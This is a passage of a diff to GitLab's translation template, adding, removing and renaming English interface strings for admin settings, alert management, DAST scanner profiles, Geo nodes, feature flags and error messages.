+msgid "AdminArea|Projects: %{number_of_projects}"
+msgstr ""
+
msgid "AdminArea|Reporter"
msgstr ""
@@ -1773,6 +1865,9 @@ msgstr ""
msgid "AdminArea|Users without a Group and Project"
msgstr ""
+msgid "AdminArea|Users: %{number_of_users}"
+msgstr ""
+
msgid "AdminArea|You’re about to stop all jobs.This will halt all current jobs that are running."
msgstr ""
@@ -1791,9 +1886,6 @@ msgstr ""
msgid "AdminProjects|Delete Project %{projectName}?"
msgstr ""
-msgid "AdminProjects|Delete project"
-msgstr ""
-
msgid "AdminSettings|Apply integration settings to all Projects"
msgstr ""
@@ -1830,6 +1922,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1845,6 +1940,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2025,7 +2123,7 @@ msgstr ""
msgid "AdminUsers|Without projects"
msgstr ""
-msgid "AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests, and groups linked to them will be transferred to a system-wide \"Ghost-user\". To avoid data loss, consider using the %{strong_start}block user%{strong_end} feature instead. Once you %{strong_start}Delete user%{strong_end}, it cannot be undone or recovered."
+msgid "AdminUsers|You are about to permanently delete the user %{username}. Issues, merge requests, and groups linked to them will be transferred to a system-wide \"Ghost-user\". To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strong_start}block user%{strong_end} feature instead. Once you %{strong_start}Delete user%{strong_end}, it cannot be undone or recovered."
@@ -2040,6 +2138,12 @@ msgstr ""
msgid "Advanced"
msgstr ""
+msgid "Advanced Search"
+msgstr ""
+
+msgid "Advanced Search with Elasticsearch"
+msgstr ""
+
msgid "Advanced Settings"
msgstr ""
@@ -2072,6 +2176,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2126,6 +2233,9 @@ msgstr ""
msgid "AlertManagement|Issue"
msgstr ""
+msgid "AlertManagement|Key"
+msgstr ""
+
msgid "AlertManagement|Low"
msgstr ""
@@ -2159,9 +2269,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2219,10 +2326,10 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
+msgid "AlertManagement|Unknown"
msgstr ""
-msgid "AlertManagement|Unknown"
+msgid "AlertManagement|Value"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
@@ -2471,6 +2578,9 @@ msgstr ""
msgid "Almost there"
msgstr ""
+msgid "Already blocked"
+msgstr ""
+
msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
msgstr ""
@@ -2507,6 +2617,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2570,7 +2683,10 @@ msgstr ""
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
-msgid "An error occurred while committing your changes."
+msgid "An error occurred while creating the issue. Please try again."
+msgstr ""
+
+msgid "An error occurred while creating the list. Please try again."
msgstr ""
msgid "An error occurred while decoding the file."
@@ -2645,16 +2761,25 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
msgid "An error occurred while fetching the job log."
msgstr ""
-msgid "An error occurred while fetching the job trace."
+msgid "An error occurred while fetching the job logs."
msgstr ""
msgid "An error occurred while fetching the job."
@@ -2759,6 +2884,9 @@ msgstr ""
msgid "An error occurred while moving the issue."
msgstr ""
+msgid "An error occurred while moving the issue. Please try again."
+msgstr ""
+
msgid "An error occurred while parsing recent searches"
msgstr ""
@@ -2792,13 +2920,13 @@ msgstr ""
msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2822,9 +2950,15 @@ msgstr ""
msgid "An error occurred while updating approvers"
msgstr ""
+msgid "An error occurred while updating labels."
+msgstr ""
+
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -2912,6 +3046,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2963,6 +3100,9 @@ msgstr ""
msgid "Application ID"
msgstr ""
+msgid "Application limits saved successfully"
+msgstr ""
+
msgid "Application settings saved successfully"
msgstr ""
@@ -3160,9 +3300,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3175,6 +3312,9 @@ msgstr ""
msgid "Are you sure you want to close this blocked issue?"
msgstr ""
+msgid "Are you sure you want to delete \"%{name}\" Value Stream?"
+msgstr ""
+
msgid "Are you sure you want to delete %{name}?"
msgstr ""
@@ -3208,6 +3348,11 @@ msgstr ""
msgid "Are you sure you want to erase this build?"
msgstr ""
+msgid "Are you sure you want to import %d repository?"
+msgid_plural "Are you sure you want to import %d repositories?"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3217,15 +3362,15 @@ msgstr ""
msgid "Are you sure you want to merge immediately?"
msgstr ""
-msgid "Are you sure you want to permanently delete this license?"
-msgstr ""
-
msgid "Are you sure you want to re-deploy this environment?"
msgstr ""
msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
msgstr ""
+msgid "Are you sure you want to reindex?"
+msgstr ""
+
msgid "Are you sure you want to remove %{group_name}?"
msgstr ""
@@ -3253,6 +3398,9 @@ msgstr ""
msgid "Are you sure you want to revoke this nickname?"
msgstr ""
+msgid "Are you sure you want to revoke this personal access token? This action cannot be undone."
+msgstr ""
+
msgid "Are you sure you want to stop this environment?"
msgstr ""
@@ -3274,6 +3422,9 @@ msgstr ""
msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
+msgid "Are you sure? This will invalidate your registered applications and U2F / WebAuthn devices."
+msgstr ""
+
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr ""
@@ -3295,6 +3446,12 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As WebAuthn devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a WebAuthn device. That way you'll always be able to log in - even when you're using an unsupported browser."
+msgstr ""
+
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3521,7 +3678,7 @@ msgstr ""
msgid "Authentication method updated"
msgstr ""
-msgid "Authentication via U2F device failed."
+msgid "Authentication via %{method} device failed."
msgstr ""
msgid "Author"
@@ -3632,6 +3789,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3890,6 +4050,9 @@ msgstr ""
msgid "Blame"
msgstr ""
+msgid "Block user"
+msgstr ""
+
msgid "Blocked"
msgstr ""
@@ -3956,7 +4119,7 @@ msgstr ""
msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
-msgid "Branch has changed"
+msgid "Branch changed"
msgstr ""
msgid "Branch is already taken"
@@ -4148,6 +4311,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4259,6 +4425,9 @@ msgstr ""
msgid "CLOSED (MOVED)"
msgstr ""
+msgid "CODEOWNERS rule violation"
+msgstr ""
+
msgid "CONTRIBUTING"
msgstr ""
@@ -4493,6 +4662,9 @@ msgstr ""
msgid "Changes the title to \"%{title_param}\"."
msgstr ""
+msgid "Changes were successfully made."
+msgstr ""
+
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
@@ -4961,6 +5133,9 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
@@ -4973,9 +5148,6 @@ msgstr ""
msgid "Clear due date"
msgstr ""
-msgid "Clear input"
-msgstr ""
-
msgid "Clear recent searches"
msgstr ""
@@ -5024,6 +5196,9 @@ msgstr ""
msgid "Client authentication key password"
msgstr ""
+msgid "Client request timeout"
+msgstr ""
+
msgid "Clients"
msgstr ""
@@ -5111,9 +5286,15 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
+
msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
+
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
@@ -5267,6 +5448,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5645,7 +5829,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -6008,9 +6192,6 @@ msgstr ""
msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
-msgid "ClusterIntegration|documentation"
-msgstr ""
-
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6268,7 +6449,7 @@ msgstr ""
msgid "Commit…"
msgstr ""
-msgid "Company"
+msgid "Community forum"
msgstr ""
msgid "Company name"
@@ -6277,6 +6458,9 @@ msgstr ""
msgid "Compare"
msgstr ""
+msgid "Compare %{oldCommitId}...%{newCommitId}"
+msgstr ""
+
msgid "Compare Git revisions"
msgstr ""
@@ -6292,6 +6476,9 @@ msgstr ""
msgid "Compare changes with the merge request target branch"
msgstr ""
+msgid "Compare submodule commit revisions"
+msgstr ""
+
msgid "Compare with previous version"
msgstr ""
@@ -6823,6 +7010,9 @@ msgstr ""
msgid "Contributions per group member"
msgstr ""
+msgid "Contributor"
+msgstr ""
+
msgid "Contributors"
msgstr ""
@@ -6952,6 +7142,9 @@ msgstr ""
msgid "Could not change HEAD: branch '%{branch}' does not exist"
msgstr ""
+msgid "Could not commit. An unexpected error occurred."
+msgstr ""
+
msgid "Could not connect to FogBugz, check your URL"
msgstr ""
@@ -6970,16 +7163,19 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
msgid "Could not create wiki page"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
-msgid "Could not delete chat nickname %{chat_name}."
+msgid "Could not delete wiki page"
msgstr ""
msgid "Could not find design."
@@ -7015,6 +7211,9 @@ msgstr ""
msgid "Could not update the LDAP settings"
msgstr ""
+msgid "Could not update wiki page"
+msgstr ""
+
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
@@ -7027,6 +7226,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7156,6 +7360,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7354,6 +7561,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7623,6 +7833,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7656,27 +7869,57 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
+msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
msgstr ""
msgid "DastProfiles|Could not delete site profiles:"
msgstr ""
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
+msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not update the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
+msgid "DastProfiles|Edit scanner profile"
+msgstr ""
+
msgid "DastProfiles|Edit site profile"
msgstr ""
@@ -7689,7 +7932,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7698,9 +7950,15 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Passive"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7710,12 +7968,72 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scan mode"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7728,6 +8046,9 @@ msgstr ""
msgid "Date picker"
msgstr ""
+msgid "Date range"
+msgstr ""
+
msgid "Date range cannot exceed %{maxDateRange} days."
msgstr ""
@@ -7863,15 +8184,21 @@ msgstr ""
msgid "Delete"
msgstr ""
-msgid "Delete Comment"
+msgid "Delete %{name}"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Comment"
msgstr ""
msgid "Delete Snippet"
msgstr ""
+msgid "Delete Value Stream"
+msgstr ""
+
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7890,9 +8217,6 @@ msgstr ""
msgid "Delete label: %{label_name} ?"
msgstr ""
-msgid "Delete license"
-msgstr ""
-
msgid "Delete list"
msgstr ""
@@ -7956,9 +8280,6 @@ msgstr ""
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
-msgstr ""
-
msgid "Deleted projects"
msgstr ""
@@ -7971,15 +8292,6 @@ msgstr ""
msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
msgstr ""
-msgid "Deleting the license failed."
-msgstr ""
-
-msgid "Deleting the license failed. The license was not found."
-msgstr ""
-
-msgid "Deleting the license failed. You are not permitted to perform this action."
-msgstr ""
-
msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
msgstr ""
@@ -8397,9 +8709,6 @@ msgstr ""
msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr ""
-
msgid "DesignManagement|Cancel changes"
msgstr ""
@@ -8430,15 +8739,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8487,7 +8787,7 @@ msgstr ""
msgid "DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again."
msgstr ""
-msgid "DesignManagement|To upload designs, you'll need to enable LFS. %{requirements_link_start}More information%{requirements_link_end}"
+msgid "DesignManagement|To upload designs, you'll need to enable LFS and have admin enable hashed storage. %{requirements_link_start}More information%{requirements_link_end}"
msgstr ""
msgid "DesignManagement|Unresolve thread"
@@ -8520,7 +8820,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8529,6 +8832,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8541,7 +8847,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8646,9 +8955,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8663,7 +8969,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8927,9 +9233,6 @@ msgstr ""
msgid "Edit files in the editor and commit changes here"
msgstr ""
-msgid "Edit fork in Web IDE"
-msgstr ""
-
msgid "Edit group: %{group_name}"
msgstr ""
@@ -8963,10 +9266,10 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Elasticsearch"
+msgid "Elasticsearch AWS IAM credentials"
msgstr ""
-msgid "Elasticsearch AWS IAM credentials"
+msgid "Elasticsearch HTTP client timeout value in seconds."
msgstr ""
msgid "Elasticsearch indexing restrictions"
@@ -8975,9 +9278,6 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
-msgid "Elasticsearch integration. Elasticsearch AWS IAM."
-msgstr ""
-
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -9005,9 +9305,6 @@ msgstr ""
msgid "Email Notification"
msgstr ""
-msgid "Email address"
-msgstr ""
-
msgid "Email could not be sent"
msgstr ""
@@ -9104,9 +9401,18 @@ msgstr ""
msgid "Enable"
msgstr ""
+msgid "Enable %{gitpod_link} integration to launch a development environment in your browser directly from GitLab."
+msgstr ""
+
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Gitpod"
+msgstr ""
+
+msgid "Enable Gitpod?"
+msgstr ""
+
msgid "Enable HTML emails"
msgstr ""
@@ -9203,9 +9509,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9239,9 +9542,6 @@ msgstr ""
msgid "Encountered an error while rendering: %{err}"
msgstr ""
-msgid "End date"
-msgstr ""
-
msgid "Ends at (UTC)"
msgstr ""
@@ -9374,6 +9674,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9398,7 +9701,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9719,6 +10022,9 @@ msgstr ""
msgid "Error deleting project. Check logs for error details."
msgstr ""
+msgid "Error fetching burnup chart data"
+msgstr ""
+
msgid "Error fetching diverging counts for branches. Please try again."
msgstr ""
@@ -10049,13 +10355,13 @@ msgstr ""
msgid "Expand all"
msgstr ""
-msgid "Expand approvers"
+msgid "Expand all files"
msgstr ""
-msgid "Expand down"
+msgid "Expand approvers"
msgstr ""
-msgid "Expand dropdown"
+msgid "Expand file"
msgstr ""
msgid "Expand milestones"
@@ -10064,9 +10370,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10079,9 +10382,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10232,6 +10532,9 @@ msgstr ""
msgid "Failed to create Merge Request. Please try again."
msgstr ""
+msgid "Failed to create To-Do for the design."
+msgstr ""
+
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
@@ -10271,6 +10574,9 @@ msgstr ""
msgid "Failed to load authors. Please try again."
msgstr ""
+msgid "Failed to load branches. Please try again."
+msgstr ""
+
msgid "Failed to load emoji list."
msgstr ""
@@ -10322,6 +10628,9 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
+msgid "Failed to remove To-Do for the design."
+msgstr ""
+
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -10364,6 +10673,9 @@ msgstr ""
msgid "Failed to signing using smartcard authentication"
msgstr ""
+msgid "Failed to toggle To-Do for the design."
+msgstr ""
+
msgid "Failed to update branch!"
msgstr ""
@@ -10477,7 +10789,7 @@ msgstr ""
msgid "FeatureFlags|Edit User List"
msgstr ""
-msgid "FeatureFlags|Enable features for specific users and specific environments by defining feature flag strategies."
+msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
msgid "FeatureFlags|Environment Spec"
@@ -10537,7 +10849,7 @@ msgstr ""
msgid "FeatureFlags|Include additional user IDs"
msgstr ""
-msgid "FeatureFlags|Install a %{docs_link_anchored_start}compatible client library%{docs_link_anchored_end} and specify the API URL, application name, and instance ID during the configuration setup. %{docs_link_start}More Information%{docs_link_end}"
+msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
msgid "FeatureFlags|Instance ID"
@@ -10621,9 +10933,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10651,16 +10960,10 @@ msgstr ""
msgid "Fetching incoming email"
msgstr ""
-msgid "Fetching licenses failed."
-msgstr ""
-
-msgid "Fetching licenses failed. The request endpoint was not found."
+msgid "File"
msgstr ""
-msgid "Fetching licenses failed. You are not permitted to perform this action."
-msgstr ""
-
-msgid "File"
+msgid "File %{current} of %{total}"
msgstr ""
msgid "File Hooks"
@@ -10759,6 +11062,12 @@ msgstr ""
msgid "Filter by status"
msgstr ""
+msgid "Filter by test cases that are currently archived."
+msgstr ""
+
+msgid "Filter by test cases that are currently opened."
+msgstr ""
+
msgid "Filter by two-factor authentication"
msgstr ""
@@ -10780,7 +11089,7 @@ msgstr ""
msgid "Filter results..."
msgstr ""
-msgid "Filter your projects by name"
+msgid "Filter your repositories by name"
msgstr ""
msgid "Filter..."
@@ -10888,6 +11197,12 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For a faster browsing experience, some files are collapsed by default."
+msgstr ""
+
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11032,6 +11347,9 @@ msgstr ""
msgid "Generate new token"
msgstr ""
+msgid "Generic package file size in bytes"
+msgstr ""
+
msgid "Geo"
msgstr ""
@@ -11245,6 +11563,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11287,6 +11611,9 @@ msgstr ""
msgid "Geo|Please refer to Geo Troubleshooting."
msgstr ""
+msgid "Geo|Primary node"
+msgstr ""
+
msgid "Geo|Project"
msgstr ""
@@ -11329,6 +11656,9 @@ msgstr ""
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
+msgid "Geo|Secondary node"
+msgstr ""
+
msgid "Geo|Status"
msgstr ""
@@ -11368,6 +11698,9 @@ msgstr ""
msgid "Geo|URL must be a valid url (ex: https://gitlab.com)"
msgstr ""
+msgid "Geo|Undefined"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -11377,10 +11710,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
